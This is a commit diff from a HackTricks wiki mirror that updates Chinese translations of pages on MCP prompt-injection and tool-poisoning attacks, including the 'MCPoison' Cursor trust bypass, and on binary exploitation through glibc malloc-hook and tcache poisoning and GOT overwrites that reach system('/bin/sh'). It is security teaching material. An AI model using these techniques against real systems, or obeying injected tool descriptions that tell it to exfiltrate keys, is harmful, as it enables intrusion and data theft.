mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/dependency-confusion.md', 'src/todo/radi
This commit is contained in:
parent
3948232288
commit
72f9b6a46f
@ -5,9 +5,9 @@
|
||||
|
||||
## 什么是 MPC - 模型上下文协议
|
||||
|
||||
[**模型上下文协议 (MCP)**](https://modelcontextprotocol.io/introduction) 是一个开放标准,允许 AI 模型 (LLMs) 以即插即用的方式与外部工具和数据源连接。这使得复杂的工作流程成为可能:例如,一个 IDE 或聊天机器人可以 *动态调用* MCP 服务器上的函数,就好像模型自然“知道”如何使用它们一样。在底层,MCP 使用基于客户端-服务器架构的 JSON 请求,通过各种传输方式 (HTTP, WebSockets, stdio 等) 进行通信。
|
||||
[**模型上下文协议 (MCP)**](https://modelcontextprotocol.io/introduction) 是一个开放标准,允许 AI 模型 (LLMs) 以即插即用的方式与外部工具和数据源连接。这使得复杂的工作流程成为可能:例如,IDE 或聊天机器人可以 *动态调用* MCP 服务器上的函数,就好像模型自然“知道”如何使用它们一样。在底层,MCP 使用基于客户端-服务器架构的 JSON 请求,通过各种传输方式 (HTTP, WebSockets, stdio 等) 进行通信。
|
||||
|
||||
一个 **主机应用程序** (例如 Claude Desktop, Cursor IDE) 运行一个 MCP 客户端,连接到一个或多个 **MCP 服务器**。每个服务器公开一组 *工具* (函数、资源或操作),这些工具在标准化的架构中描述。当主机连接时,它通过 `tools/list` 请求询问服务器可用的工具;返回的工具描述随后被插入到模型的上下文中,以便 AI 知道存在哪些函数以及如何调用它们。
|
||||
一个 **主机应用程序** (例如 Claude Desktop, Cursor IDE) 运行一个 MCP 客户端,连接到一个或多个 **MCP 服务器**。每个服务器公开一组 *工具* (函数、资源或操作),这些工具在标准化的架构中进行描述。当主机连接时,它通过 `tools/list` 请求向服务器询问可用的工具;返回的工具描述随后被插入到模型的上下文中,以便 AI 知道存在哪些函数以及如何调用它们。
|
||||
|
||||
|
||||
## 基本 MCP 服务器
|
||||
@ -31,7 +31,7 @@ return a + b
|
||||
if __name__ == "__main__":
|
||||
mcp.run(transport="stdio") # Run server (using stdio transport for CLI testing)`
|
||||
```
|
||||
这定义了一个名为“Calculator Server”的服务器,具有一个工具 `add`。我们用 `@mcp.tool()` 装饰该函数,以将其注册为可调用工具,供连接的 LLM 使用。要运行服务器,请在终端中执行: `python3 calculator.py`
|
||||
这定义了一个名为“Calculator Server”的服务器,具有一个工具 `add`。我们用 `@mcp.tool()` 装饰该函数,以将其注册为可调用工具供连接的 LLM 使用。要运行服务器,请在终端中执行: `python3 calculator.py`
|
||||
|
||||
服务器将启动并监听 MCP 请求(这里为了简单使用标准输入/输出)。在实际设置中,您将连接一个 AI 代理或 MCP 客户端到此服务器。例如,使用 MCP 开发者 CLI,您可以启动一个检查器来测试该工具:
|
||||
```bash
|
||||
@ -61,7 +61,7 @@ AI-Prompts.md
|
||||
|
||||
恶意行为者可能会向 MCP 服务器添加意外有害的工具,或仅仅更改现有工具的描述,这在被 MCP 客户端读取后,可能导致 AI 模型中出现意外和未注意到的行为。
|
||||
|
||||
例如,想象一个受害者使用与可信的 MCP 服务器的 Cursor IDE,该服务器变得不可靠,并且有一个名为 `add` 的工具,用于添加两个数字。即使这个工具已经按预期工作了几个月,MCP 服务器的维护者也可能会将 `add` 工具的描述更改为邀请该工具执行恶意操作的描述,例如外泄 ssh 密钥:
|
||||
例如,想象一个受害者使用 Cursor IDE 与一个信任的 MCP 服务器,该服务器变得不可靠,拥有一个名为 `add` 的工具,用于添加两个数字。即使这个工具已经按预期工作了几个月,MCP 服务器的维护者也可以将 `add` 工具的描述更改为邀请该工具执行恶意操作的描述,例如外泄 ssh 密钥:
|
||||
```python
|
||||
@mcp.tool()
|
||||
def add(a: int, b: int) -> int:
|
||||
@ -79,7 +79,7 @@ return a + b
|
||||
|
||||
请注意,根据客户端设置,可能可以在不询问用户许可的情况下运行任意命令。
|
||||
|
||||
此外,请注意,该描述可能指示使用其他功能,这些功能可能会促进这些攻击。例如,如果已经有一个允许外泄数据的功能,也许发送电子邮件(例如,用户正在使用MCP服务器连接到他的gmail账户),该描述可能指示使用该功能,而不是运行`curl`命令,这样更可能被用户注意到。可以在这篇[博客文章](https://blog.trailofbits.com/2025/04/23/how-mcp-servers-can-steal-your-conversation-history/)中找到一个例子。
|
||||
此外,请注意,该描述可能指示使用其他功能,这些功能可能会促进这些攻击。例如,如果已经有一个允许外泄数据的功能,也许发送电子邮件(例如,用户正在使用连接到其gmail账户的MCP服务器),该描述可能指示使用该功能,而不是运行`curl`命令,这样更可能被用户注意到。可以在这篇[博客文章](https://blog.trailofbits.com/2025/04/23/how-mcp-servers-can-steal-your-conversation-history/)中找到一个示例。
|
||||
|
||||
此外,[**这篇博客文章**](https://www.cyberark.com/resources/threat-research-blog/poison-everywhere-no-output-from-your-mcp-server-is-safe)描述了如何不仅可以在工具的描述中添加提示注入,还可以在类型、变量名称、MCP服务器返回的JSON响应中的额外字段,甚至在工具的意外响应中进行提示注入,使得提示注入攻击更加隐蔽且难以检测。
|
||||
|
||||
@ -94,14 +94,14 @@ return a + b
|
||||
AI-Prompts.md
|
||||
{{#endref}}
|
||||
|
||||
此外,在[**这篇博客**](https://www.legitsecurity.com/blog/remote-prompt-injection-in-gitlab-duo)中解释了如何滥用Gitlab AI代理执行任意操作(如修改代码或泄露代码),但通过在存储库的数据中注入恶意提示(甚至以一种LLM能够理解但用户无法理解的方式混淆这些提示)。
|
||||
此外,在[**这篇博客**](https://www.legitsecurity.com/blog/remote-prompt-injection-in-gitlab-duo)中解释了如何滥用Gitlab AI代理执行任意操作(如修改代码或泄露代码),但通过在存储库的数据中注入恶意提示(甚至以模糊的方式注入这些提示,使得LLM能够理解但用户无法理解)。
|
||||
|
||||
请注意,恶意间接提示将位于受害用户正在使用的公共存储库中,然而,由于代理仍然可以访问用户的存储库,它将能够访问它们。
|
||||
请注意,恶意间接提示将位于受害用户正在使用的公共存储库中,然而,由于代理仍然可以访问用户的存储库,因此它将能够访问这些存储库。
|
||||
|
||||
### 通过MCP信任绕过进行持久代码执行(Cursor IDE – "MCPoison")
|
||||
|
||||
自2025年初,Check Point Research披露,AI中心的**Cursor IDE**将用户信任绑定到MCP条目的*名称*,但从未重新验证其底层的`command`或`args`。
|
||||
这个逻辑缺陷(CVE-2025-54136,亦称**MCPoison**)允许任何可以写入共享存储库的人将一个已经批准的、良性的MCP转变为一个将在*每次打开项目时*执行的任意命令——不显示提示。
|
||||
此逻辑缺陷(CVE-2025-54136,亦称**MCPoison**)允许任何可以写入共享存储库的人将已批准的、良性的MCP转换为将被执行的任意命令*每次打开项目时* – 不显示提示。
|
||||
|
||||
#### 易受攻击的工作流程
|
||||
|
||||
@ -117,7 +117,7 @@ AI-Prompts.md
|
||||
}
|
||||
```
|
||||
2. 受害者在 Cursor 中打开项目并 *批准* `build` MCP。
|
||||
3. 后来,攻击者悄悄替换命令:
|
||||
3. 后来,攻击者悄悄地替换命令:
|
||||
```json
|
||||
{
|
||||
"mcpServers": {
|
||||
@ -128,13 +128,13 @@ AI-Prompts.md
|
||||
}
|
||||
}
|
||||
```
|
||||
4. 当仓库同步(或IDE重启)时,Cursor会**在没有任何额外提示**的情况下执行新命令,从而在开发者工作站中授予远程代码执行权限。
|
||||
4. 当仓库同步(或IDE重启)时,Cursor会执行新的命令**而无需任何额外提示**,从而在开发者工作站中授予远程代码执行权限。
|
||||
|
||||
有效载荷可以是当前操作系统用户可以运行的任何东西,例如反向 shell 批处理文件或 PowerShell 单行命令,使后门在IDE重启后保持持久性。
|
||||
有效载荷可以是当前操作系统用户可以运行的任何内容,例如反向 shell 批处理文件或 PowerShell 单行命令,使后门在IDE重启后保持持久性。
|
||||
|
||||
#### 检测与缓解
|
||||
|
||||
* 升级到 **Cursor ≥ v1.3** – 补丁强制重新批准对 **任何** MCP 文件的更改(即使是空格)。
|
||||
* 升级到**Cursor ≥ v1.3** – 补丁强制重新批准对**任何** MCP 文件的更改(甚至是空格)。
|
||||
* 将MCP文件视为代码:通过代码审查、分支保护和CI检查来保护它们。
|
||||
* 对于旧版本,您可以使用Git钩子或监视`.cursor/`路径的安全代理来检测可疑的差异。
|
||||
* 考虑对MCP配置进行签名或将其存储在仓库外,以便不受信任的贡献者无法更改它们。
|
||||
|
||||
@ -15,7 +15,7 @@
|
||||
## 1. 分词
|
||||
|
||||
> [!TIP]
|
||||
> 这个初始阶段的目标非常简单:**以某种有意义的方式将输入划分为标记(ID)。**
|
||||
> 这个初始阶段的目标非常简单:**以某种有意义的方式将输入划分为标记(id)。**
|
||||
|
||||
{{#ref}}
|
||||
1.-tokenizing.md
|
||||
@ -24,7 +24,7 @@
|
||||
## 2. 数据采样
|
||||
|
||||
> [!TIP]
|
||||
> 这个第二阶段的目标非常简单:**对输入数据进行采样,并为训练阶段准备,通常通过将数据集分成特定长度的句子,并生成预期的响应。**
|
||||
> 这个第二阶段的目标非常简单:**对输入数据进行采样,并为训练阶段准备,通常通过将数据集分隔为特定长度的句子,并生成预期的响应。**
|
||||
|
||||
{{#ref}}
|
||||
2.-data-sampling.md
|
||||
@ -42,11 +42,11 @@
|
||||
3.-token-embeddings.md
|
||||
{{#endref}}
|
||||
|
||||
## 4. 注意力机制
|
||||
## 4. 注意机制
|
||||
|
||||
> [!TIP]
|
||||
> 这个第四阶段的目标非常简单:**应用一些注意力机制**。这些将是许多**重复的层**,将**捕捉词汇表中单词与当前用于训练 LLM 的句子中其邻居的关系**。\
|
||||
> 为此使用了许多层,因此许多可训练的参数将捕捉这些信息。
|
||||
> 这个第四阶段的目标非常简单:**应用一些注意机制**。这些将是许多**重复的层**,将**捕捉词汇表中单词与当前用于训练 LLM 的句子中其邻居的关系**。\
|
||||
> 为此使用了许多层,因此将有许多可训练的参数捕捉这些信息。
|
||||
|
||||
{{#ref}}
|
||||
4.-attention-mechanisms.md
|
||||
@ -55,7 +55,7 @@
|
||||
## 5. LLM 架构
|
||||
|
||||
> [!TIP]
|
||||
> 这个第五阶段的目标非常简单:**开发完整 LLM 的架构**。将所有内容整合在一起,应用所有层并创建所有生成文本或将文本转换为 ID 及其反向的函数。
|
||||
> 这个第五阶段的目标非常简单:**开发完整 LLM 的架构**。将所有内容组合在一起,应用所有层并创建所有生成文本或将文本转换为 ID 及其反向的函数。
|
||||
>
|
||||
> 该架构将用于训练和预测文本。
|
||||
|
||||
|
||||
@ -4,11 +4,11 @@
|
||||
|
||||
## **Malloc Hook**
|
||||
|
||||
正如你可以在 [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html) 上看到的,变量 **`__malloc_hook`** 是一个指针,指向 **一个将在调用 `malloc()` 时被调用的函数的地址**,该地址 **存储在 libc 库的数据段中**。因此,如果这个地址被覆盖为一个 **One Gadget**,例如,当调用 `malloc` 时,**One Gadget 将被调用**。
|
||||
正如你可以在 [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html) 上看到的,变量 **`__malloc_hook`** 是一个指针,指向 **每当调用 `malloc()` 时将被调用的函数的地址**,该地址 **存储在 libc 库的数据段中**。因此,如果这个地址被覆盖为一个 **One Gadget**,例如,当调用 `malloc` 时,**One Gadget 将被调用**。
|
||||
|
||||
要调用 malloc,可以等待程序调用它,或者通过 **调用 `printf("%10000$c")`**,这会分配过多的字节,使得 `libc` 调用 malloc 在堆中分配它们。
|
||||
要调用 malloc,可以等待程序调用它,或者通过 **调用 `printf("%10000$c")`**,这会分配太多字节,使得 `libc` 调用 malloc 在堆中分配它们。
|
||||
|
||||
关于 One Gadget 的更多信息:
|
||||
有关 One Gadget 的更多信息,请参见:
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/ret2lib/one-gadget.md
|
||||
@ -19,7 +19,7 @@
|
||||
|
||||
## Free Hook
|
||||
|
||||
在页面的一个示例中滥用了这一点,滥用了一次快速 bin 攻击,之后又滥用了一次未排序 bin 攻击:
|
||||
在页面的一个示例中滥用了这一点,滥用了一次快速 bin 攻击,之前进行了未排序 bin 攻击:
|
||||
|
||||
{{#ref}}
|
||||
../libc-heap/unsorted-bin-attack.md
|
||||
@ -45,7 +45,7 @@ gef➤ p &__free_hook
|
||||
|
||||
在前面代码中提到的中断位置,`$eax` 中将会存放 free hook 的地址。
|
||||
|
||||
现在进行一个 **fast bin 攻击**:
|
||||
现在进行一个 **fast bin attack**:
|
||||
|
||||
- 首先发现可以在 **`__free_hook`** 位置处理大小为 200 的快速 **chunks**:
|
||||
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
|
||||
@ -64,19 +64,19 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||||
|
||||
---
|
||||
|
||||
## Tcache 中毒与安全链接 (glibc 2.32 – 2.33)
|
||||
## Tcache poisoning & Safe-Linking (glibc 2.32 – 2.33)
|
||||
|
||||
glibc 2.32 引入了 **安全链接** – 一种完整性检查,保护 **tcache** 和快速 bin 使用的 *单* 链表。ptmalloc 现在不再存储原始的前向指针 (`fd`),而是用以下宏进行 *混淆*:
|
||||
glibc 2.32 引入了 **Safe-Linking** – 一种完整性检查,保护 **tcache** 和快速 bins 使用的 *单* 链表。ptmalloc 现在不再存储原始的前向指针 (`fd`),而是用以下宏存储它 *混淆* 过的:
|
||||
```c
|
||||
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
|
||||
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
|
||||
```
|
||||
后果:
|
||||
利用的后果:
|
||||
|
||||
1. **堆泄漏**是必需的 – 攻击者必须知道`chunk_addr >> 12`的运行时值,以构造有效的混淆指针。
|
||||
2. 只能伪造*完整*的8字节指针;单字节部分覆盖将无法通过检查。
|
||||
|
||||
因此,覆盖glibc 2.32/2.33上的`__free_hook`的最小tcache中毒原语如下:
|
||||
因此,一个最小的tcache中毒原语,覆盖glibc 2.32/2.33上的`__free_hook`看起来像:
|
||||
```py
|
||||
from pwn import *
|
||||
|
||||
@ -115,13 +115,13 @@ free(bin_sh)
|
||||
|
||||
---
|
||||
|
||||
## glibc ≥ 2.34 中发生了什么变化?
|
||||
## glibc ≥ 2.34中发生了什么变化?
|
||||
|
||||
从**glibc 2.34(2021年8月)**开始,分配钩子`__malloc_hook`、`__realloc_hook`、`__memalign_hook`和`__free_hook`被**从公共API中移除,不再被分配器调用**。兼容符号仍然为遗留二进制文件导出,但覆盖它们不再影响`malloc()`或`free()`的控制流。
|
||||
|
||||
实际影响:在现代发行版(Ubuntu 22.04+、Fedora 35+、Debian 12等)上,您必须转向*其他*劫持原语(IO-FILE、`__run_exit_handlers`、vtable喷洒等),因为钩子覆盖将静默失败。
|
||||
|
||||
如果您仍然需要旧的行为进行调试,glibc提供`libc_malloc_debug.so`,可以预加载以重新启用遗留钩子——但该库**不适合生产环境,可能在未来的版本中消失**。
|
||||
如果您仍然需要旧的行为进行调试,glibc提供了`libc_malloc_debug.so`,可以预加载以重新启用遗留钩子——但该库**不适合生产环境,可能在未来的版本中消失**。
|
||||
|
||||
---
|
||||
|
||||
@ -129,7 +129,7 @@ free(bin_sh)
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
|
||||
- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
|
||||
- Safe-Linking – 消除20年历史的malloc()漏洞原语(Check Point Research,2020)
|
||||
- glibc 2.34发布说明 – 移除malloc钩子
|
||||
- Safe-Linking – Eliminating a 20 year-old malloc() exploit primitive (Check Point Research, 2020)
|
||||
- glibc 2.34 release notes – removal of malloc hooks
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,13 +6,13 @@
|
||||
|
||||
### **GOT: 全局偏移表**
|
||||
|
||||
**全局偏移表 (GOT)** 是一种用于动态链接二进制文件的机制,用于管理 **外部函数的地址**。由于这些 **地址在运行时才会被知道**(由于动态链接),GOT 提供了一种方法来 **动态更新这些外部符号的地址** 一旦它们被解析。
|
||||
**全局偏移表 (GOT)** 是一种用于动态链接二进制文件的机制,用于管理**外部函数的地址**。由于这些**地址在运行时才会被知道**(由于动态链接),GOT 提供了一种方法来**在解析后动态更新这些外部符号的地址**。
|
||||
|
||||
GOT 中的每个条目对应于二进制文件可能调用的外部库中的一个符号。当 **函数第一次被调用时,其实际地址由动态链接器解析并存储在 GOT 中**。对同一函数的后续调用使用存储在 GOT 中的地址,从而避免了再次解析地址的开销。
|
||||
GOT 中的每个条目对应于二进制文件可能调用的外部库中的一个符号。当**函数第一次被调用时,其实际地址由动态链接器解析并存储在 GOT 中**。对同一函数的后续调用使用存储在 GOT 中的地址,从而避免了再次解析地址的开销。
|
||||
|
||||
### **PLT: 过程链接表**
|
||||
|
||||
**过程链接表 (PLT)** 与 GOT 密切合作,作为处理对外部函数调用的跳板。当二进制文件 **第一次调用外部函数时,控制权会传递给与该函数关联的 PLT 中的一个条目**。这个 PLT 条目负责调用动态链接器来解析函数的地址,如果它尚未被解析。地址解析后,它会存储在 **GOT** 中。
|
||||
**过程链接表 (PLT)** 与 GOT 密切合作,作为处理对外部函数调用的跳板。当二进制文件**第一次调用外部函数时,控制权会传递给与该函数关联的 PLT 中的一个条目**。这个 PLT 条目负责调用动态链接器来解析函数的地址,如果该地址尚未被解析。地址解析后,它会存储在**GOT**中。
|
||||
|
||||
**因此,** 一旦外部函数或变量的地址被解析,GOT 条目就会被直接使用。**PLT 条目用于通过动态链接器促进这些地址的初始解析**。
|
||||
|
||||
@ -24,43 +24,44 @@ GOT 中的每个条目对应于二进制文件可能调用的外部库中的一
|
||||
|
||||
.png>)
|
||||
|
||||
观察在 GEF 中 **加载** **可执行文件** 后,您可以 **看到** **GOT** 中的 **函数**:`gef➤ x/20x 0xADDR_GOT`
|
||||
观察在 GEF 中**加载**可执行文件后,您可以**看到**在**GOT**中的**函数**:`gef➤ x/20x 0xADDR_GOT`
|
||||
|
||||
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
|
||||
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
|
||||
|
||||
使用 GEF,您可以 **开始** 一个 **调试** 会话并执行 **`got`** 以查看 GOT 表:
|
||||
使用 GEF,您可以**开始**一个**调试**会话并执行**`got`**以查看 GOT 表:
|
||||
|
||||
.png>)
|
||||
|
||||
### GOT2Exec
|
||||
|
||||
在二进制文件中,GOT 包含 **函数的地址或** **PLT** 部分的地址,该部分将加载函数地址。此任意写入的目标是 **覆盖一个函数的 GOT 条目**,该函数将在稍后 **执行**,例如 **`system`** **函数** 的 **PLT** 地址。
|
||||
在二进制文件中,GOT 包含**函数的地址或**指向将加载函数地址的**PLT**部分。这个任意写入的目标是**覆盖一个将要被执行的函数的 GOT 条目**,例如用**`system`**函数的**PLT**地址。
|
||||
|
||||
理想情况下,您将 **覆盖** 一个 **将被调用并由您控制参数的函数的 GOT**(这样您就可以控制传递给系统函数的参数)。
|
||||
理想情况下,您将**覆盖**一个**将被调用且参数由您控制的函数的 GOT**(这样您就可以控制传递给系统函数的参数)。
|
||||
|
||||
如果 **`system`** **未被** 二进制文件使用,则系统函数 **不会** 在 PLT 中有条目。在这种情况下,您需要 **首先泄漏 `system` 函数的地址**,然后覆盖 GOT 以指向该地址。
|
||||
如果**`system`** **未被**二进制文件使用,则系统函数在 PLT 中**不会**有条目。在这种情况下,您需要**首先泄漏 `system` 函数的地址**,然后覆盖 GOT 以指向该地址。
|
||||
|
||||
您可以使用 **`objdump -j .plt -d ./vuln_binary`** 查看 PLT 地址。
|
||||
您可以使用**`objdump -j .plt -d ./vuln_binary`**查看 PLT 地址。
|
||||
|
||||
## libc GOT 条目
|
||||
|
||||
**libc 的 GOT** 通常编译为 **部分 RELRO**,使其成为一个不错的目标,假设可以找出其地址([**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html))。
|
||||
**libc 的 GOT** 通常编译为**部分 RELRO**,使其成为一个不错的目标,假设可以找出其地址([**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html))。
|
||||
|
||||
libc 的常见函数将调用 **其他内部函数**,其 GOT 可以被覆盖以获得代码执行。
|
||||
libc 的常见函数将调用**其他内部函数**,其 GOT 可以被覆盖以获得代码执行。
|
||||
|
||||
在这里找到 [**有关此技术的更多信息**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)。
|
||||
在这里找到[**更多关于此技术的信息**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)。
|
||||
|
||||
### **Free2system**
|
||||
|
||||
在堆利用 CTF 中,通常可以控制块的内容,并在某些时候甚至覆盖 GOT 表。如果没有可用的一个 gadget,获取 RCE 的一个简单技巧是将 `free` GOT 地址覆盖为指向 `system`,并在一个块中写入 `"/bin/sh"`。这样,当这个块被释放时,它将执行 `system("/bin/sh")`。
|
||||
在堆利用 CTF 中,通常可以控制块的内容,甚至在某些时候覆盖 GOT 表。一个简单的技巧是将 `free` GOT 地址覆盖为指向 `system`,并在一个块中写入 `"/bin/sh"`。这样,当这个块被释放时,它将执行 `system("/bin/sh")`。
|
||||
|
||||
### **Strlen2system**
|
||||
|
||||
另一种常见技术是将 **`strlen`** GOT 地址覆盖为指向 **`system`**,因此如果此函数使用用户输入被调用,则可以传递字符串 `"/bin/sh"` 并获得一个 shell。
|
||||
另一个常见的技术是将**`strlen`** GOT 地址覆盖为指向**`system`**,因此如果这个函数使用用户输入被调用,可以传递字符串 `"/bin/sh"` 并获得一个 shell。
|
||||
|
||||
此外,如果 `puts` 使用用户输入,则可以将 `strlen` GOT 地址覆盖为指向 `system`,并传递字符串 `"/bin/sh"` 以获得一个 shell,因为 **`puts` 将使用用户输入调用 `strlen`**。
|
||||
此外,如果 `puts` 使用用户输入,则可以将 `strlen` GOT 地址覆盖为指向 `system`,并传递字符串 `"/bin/sh"` 以获得一个 shell,因为**`puts` 将使用用户输入调用 `strlen`**。
|
||||
|
||||
## **One Gadget**
|
||||
|
||||
## **一个 Gadget**
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/ret2lib/one-gadget.md
|
||||
@ -68,14 +69,15 @@ libc 的常见函数将调用 **其他内部函数**,其 GOT 可以被覆盖
|
||||
|
||||
## **从堆滥用 GOT**
|
||||
|
||||
从堆漏洞获得 RCE 的一种常见方法是滥用 fastbin,以便可以将 GOT 表的一部分添加到 fast bin 中,因此每当分配该块时,就可以 **覆盖一个函数的指针,通常是 `free`**。\
|
||||
从堆漏洞获得 RCE 的一种常见方法是滥用 fastbin,以便可以将 GOT 表的一部分添加到 fast bin 中,因此每当分配该块时,就可以**覆盖一个函数的指针,通常是 `free`**。\
|
||||
然后,将 `free` 指向 `system`,并释放一个写入了 `/bin/sh\x00` 的块将执行一个 shell。
|
||||
|
||||
可以在这里找到一个 [**示例**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**。**
|
||||
可以在这里找到一个[**示例**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**。**
|
||||
|
||||
## **保护**
|
||||
|
||||
**完全 RELRO** 保护旨在通过在二进制文件启动时解析所有函数的地址并在此之后使 **GOT 表只读** 来防止这种技术:
|
||||
**完全 RELRO** 保护旨在通过在二进制文件启动时解析所有函数的地址并在之后使**GOT 表只读**来防止这种技术:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../common-binary-protections-and-bypasses/relro.md
|
||||
|
||||
@ -25,11 +25,11 @@ tools/
|
||||
您可以通过不同的方式控制程序的流程:
|
||||
|
||||
- [**栈溢出**](../stack-overflow/index.html) 通过覆盖栈中的返回指针或 EBP -> ESP -> EIP。
|
||||
- 可能需要利用 [**整数溢出**](../integer-overflow.md) 来导致溢出
|
||||
- 或通过 **任意写入 + 写入什么到哪里执行**
|
||||
- 可能需要利用 [**整数溢出**](../integer-overflow.md) 来导致溢出。
|
||||
- 或通过 **任意写入 + 写入什么到哪里执行**。
|
||||
- [**格式字符串**](../format-strings/index.html)**:** 利用 `printf` 在任意地址写入任意内容。
|
||||
- [**数组索引**](../array-indexing.md): 利用设计不良的索引来控制某些数组并获得任意写入。
|
||||
- 可能需要利用 [**整数溢出**](../integer-overflow.md) 来导致溢出
|
||||
- 可能需要利用 [**整数溢出**](../integer-overflow.md) 来导致溢出。
|
||||
- **bof 到 WWW 通过 ROP**: 利用缓冲区溢出构造 ROP 并能够获得 WWW。
|
||||
|
||||
您可以在以下位置找到 **写入什么到哪里执行** 技术:
|
||||
@ -40,27 +40,27 @@ tools/
|
||||
|
||||
## 永久循环
|
||||
|
||||
需要考虑的一点是,通常 **仅仅利用一次漏洞可能不足以** 执行成功的利用,特别是某些保护需要被绕过。因此,讨论一些选项以 **使单个漏洞在同一二进制执行中可利用多次** 是很有趣的:
|
||||
需要考虑的一点是,通常 **仅仅利用一次漏洞可能不足以执行成功的利用**,特别是某些保护需要被绕过。因此,讨论一些选项以 **使单个漏洞在同一二进制执行中可利用多次** 是很有趣的:
|
||||
|
||||
- 在 **ROP** 链中写入 **`main` 函数** 的地址或发生 **漏洞** 的地址。
|
||||
- 控制一个合适的 ROP 链,您可能能够在该链中执行所有操作
|
||||
- 在 GOT 中写入 **`exit` 地址**(或二进制在结束前使用的任何其他函数)到 **返回漏洞**
|
||||
- 如 [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**中所述,** 在这里存储 2 个函数,一个用于再次调用漏洞,另一个用于调用 **`__libc_csu_fini`**,它将再次调用 `.fini_array` 中的函数。
|
||||
- 控制一个合适的 ROP 链,您可能能够执行该链中的所有操作。
|
||||
- 在 GOT 中写入 **`exit` 地址**(或二进制在结束前使用的任何其他函数)到 **返回漏洞** 的地址。
|
||||
- 如 [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** 在这里存储两个函数,一个是再次调用漏洞,另一个是调用 **`__libc_csu_fini`**,它将再次调用 `.fini_array` 中的函数。
|
||||
|
||||
## 利用目标
|
||||
|
||||
### 目标:调用现有函数
|
||||
|
||||
- [**ret2win**](#ret2win): 代码中有一个函数需要调用(可能带有一些特定参数)以获取标志。
|
||||
- [**ret2win**](#ret2win): 代码中有一个您需要调用的函数(可能带有一些特定参数)以获取标志。
|
||||
- 在 **没有** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **和** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html) 的常规 bof 中,您只需在存储在栈中的返回地址中写入地址。
|
||||
- 在带有 [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) 的 bof 中,您需要绕过它
|
||||
- 在带有 [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html) 的 bof 中,您需要绕过它
|
||||
- 在带有 [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) 的 bof 中,您需要绕过它。
|
||||
- 在带有 [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html) 的 bof 中,您需要绕过它。
|
||||
- 如果您需要设置多个参数以正确调用 **ret2win** 函数,您可以使用:
|
||||
- 如果有足够的 gadgets,可以使用 [**ROP**](#rop-and-ret2...-techniques) **链来准备所有参数
|
||||
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html)(如果您可以调用此系统调用)来控制许多寄存器
|
||||
- 来自 [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) 和 [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) 的 gadgets 来控制多个寄存器
|
||||
- 如果有足够的 gadgets,可以使用 [**ROP**](#rop-and-ret2...-techniques) **链来准备所有参数**。
|
||||
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html)(如果您可以调用此系统调用)来控制许多寄存器。
|
||||
- 来自 [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) 和 [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) 的 gadgets 来控制多个寄存器。
|
||||
- 通过 [**写入什么到哪里**](../arbitrary-write-2-exec/index.html),您可以利用其他漏洞(不是 bof)来调用 **`win`** 函数。
|
||||
- [**指针重定向**](../stack-overflow/pointer-redirecting.md): 如果栈包含指向将要调用的函数或将要被有趣的函数(system 或 printf)使用的字符串的指针,则可以覆盖该地址。
|
||||
- [**指针重定向**](../stack-overflow/pointer-redirecting.md): 如果栈中包含指向将要调用的函数或将要被有趣的函数(system 或 printf)使用的字符串的指针,则可以覆盖该地址。
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) 或 [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) 可能会影响地址。
|
||||
- [**未初始化变量**](../stack-overflow/uninitialized-variables.md): 你永远不知道。
|
||||
|
||||
@ -69,42 +69,42 @@ tools/
|
||||
#### 通过 shellcode,如果 nx 被禁用或将 shellcode 与 ROP 混合:
|
||||
|
||||
- [**(栈) Shellcode**](#stack-shellcode): 这对于在覆盖返回指针之前或之后在栈中存储 shellcode 并然后 **跳转到它** 执行是有用的:
|
||||
